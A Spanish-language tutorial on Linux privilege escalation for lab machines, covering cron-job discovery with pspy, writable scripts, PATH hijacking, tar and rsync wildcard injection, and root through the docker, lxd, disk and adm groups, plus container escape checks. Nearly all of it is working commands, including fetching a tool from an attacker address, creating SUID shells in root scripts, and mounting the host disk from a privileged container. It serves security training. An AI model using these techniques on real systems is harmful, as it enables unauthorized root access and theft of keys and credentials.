Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd

Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.

2 nov 2026 · 4 min de lectura

Esta guía es la continuación de sudo, SUID y capabilities. Si esas tres comprobaciones no han dado nada, las siguientes vías más frecuentes en el catálogo son algo que root ejecuta solo (una tarea cron) y un grupo que vale tanto como root (grupos privilegiados).

id                      # ¿en qué grupos estás?
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
systemctl list-timers --all

1. Tareas cron que no ves

Muchas veces la tarea está en el crontab de root, que no puedes leer. Para verla, vigila los procesos que aparecen: pspy lo hace sin necesitar privilegios.

# en tu equipo: python3 -m http.server 80
wget http://10.10.14.5/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000

Espera un par de minutos. Busca líneas con UID=0 que se repitan cada minuto o cada cinco:

CMD: UID=0  PID=4123 | /bin/sh -c /opt/backup/backup.sh
CMD: UID=0  PID=4125 | tar czf /var/backups/web.tgz *

Con eso tienes tres preguntas que hacerte, y cada una es una sección de esta guía:

¿Puedo escribir en el script o en algo que el script carga? → modifícalo.
¿Llama a programas sin ruta absoluta? → PATH hijacking.
¿Usa un comodín (*) en una carpeta donde puedo crear ficheros? → inyección por wildcard.

Script escribible

ls -la /opt/backup/backup.sh
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /opt/backup/backup.sh
# espera al siguiente minuto
/tmp/rootbash -p

Fíjate también en lo que importa el script: un .py que hace import util busca util.py primero en su propia carpeta (secuestro de librerías); un script que hace source /etc/app.conf ejecuta lo que pongas en ese fichero.

2. PATH hijacking

Si un script o un binario SUID ejecuta tar en lugar de /usr/bin/tar, el sistema busca tar en cada carpeta del PATH, en orden. Si controlas una carpeta que va antes, tu tar gana.

# ¿Qué PATH usa el cron? Míralo en /etc/crontab (línea PATH=...)
grep PATH /etc/crontab
# ¿Hay alguna carpeta de ese PATH en la que puedas escribir?
for d in $(echo "$PATH" | tr ':' ' '); do [ -w "$d" ] && echo "escribible: $d"; done

Con un binario SUID o una regla de sudo con SETENV, controlas tú el PATH:

strings /usr/local/bin/herramienta | grep -v / | head   # nombres de programas sin ruta
cd /tmp && echo -e '#!/bin/bash\n/bin/bash -p' > tar && chmod +x tar
PATH=/tmp:$PATH /usr/local/bin/herramienta

En Writeup el truco está en que el grupo staff puede escribir en /usr/local/bin, que va antes que /usr/bin en el PATH de casi todo.

3. Comodines (wildcards)

Cuando la shell expande *, los nombres de fichero se convierten en argumentos. Si un fichero se llama --checkpoint=1, tar lo lee como una opción. Es la inyección por wildcard.

# root ejecuta, dentro de /var/www/html:  tar czf /tmp/backup.tgz *
cd /var/www/html
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

Otros programas con opciones peligrosas: rsync (-e sh shell.sh), chown y chmod (--reference=fichero_tuyo) y 7z (@lista lee un fichero que puede ser un enlace simbólico a /root/.ssh/id_rsa).

4. Grupos que valen tanto como root

Grupo	Por qué	Abuso
`docker`	Puedes arrancar un contenedor que monte `/` del anfitrión	`docker run -v /:/mnt --rm -it alpine chroot /mnt sh`
`lxd` / `lxc`	Igual que docker, con un contenedor privilegiado	Ver abajo
`disk`	Acceso directo al disco	`debugfs /dev/sda1` y luego `cat /root/.ssh/id_rsa`
`adm`	Lee los logs de `/var/log`	Busca contraseñas en `auth.log`, `apache2/access.log`, auditd
`shadow`	Lee `/etc/shadow`	Crackea los hashes (guía de cracking de hashes)
`video`	Lee el framebuffer	Captura la pantalla de quien esté conectado
`sudo` / `wheel` / `admin`	Pueden usar sudo	Solo te falta la contraseña del usuario

lxd paso a paso

# En tu equipo: construye una imagen de Alpine pequeña
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine
# En la víctima (sube el .tar.gz)
lxc image import ./alpine-*.tar.gz --alias pwn
lxc init pwn pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
cat /mnt/root/root/root.txt

Si lxc init se queja de que no hay almacenamiento, ejecuta antes lxd init --auto. Es la vía de root de Tabby.

5. Si estás dentro de un contenedor

Un hostname raro, un /.dockerenv o muy pocos procesos en ps aux indican que estás en un contenedor. Antes de buscar la escalada, sal de él (escape de contenedores):

ls -la /.dockerenv; cat /proc/1/cgroup
ls -la /var/run/docker.sock               # si existe, controlas el docker del anfitrión
capsh --print | grep -i sys_admin         # contenedor privilegiado: puedes montar el disco del anfitrión
fdisk -l 2>/dev/null; mount | grep -v proc

Con el socket de Docker accesible, usa la API para arrancar un contenedor que monte / (curl --unix-socket /var/run/docker.sock ...), igual que con el grupo docker.

Errores típicos

pspy no enseña nada útil: dale más tiempo; hay tareas cada 5, 10 o 15 minutos. Y prueba -f para ver también accesos a ficheros.
/tmp/rootbash -p te deja sin root: el sistema de ficheros de /tmp está montado con nosuid. Usa otra carpeta (/dev/shm, /var/tmp) o añade tu clave a /root/.ssh/authorized_keys.
Los ficheros --checkpoint no hacen nada: el comando no usa * sino una ruta absoluta (/var/www/html/* sí funciona; tar czf x.tgz /var/www/html no).

Y después

Si nada de esto aparece, mira los servicios que solo escuchan en local (ss -tlnp) y llega a ellos con port forwarding; busca credenciales en ficheros y prueba la reutilización de contraseñas. La checklist de post-explotación tiene el orden completo.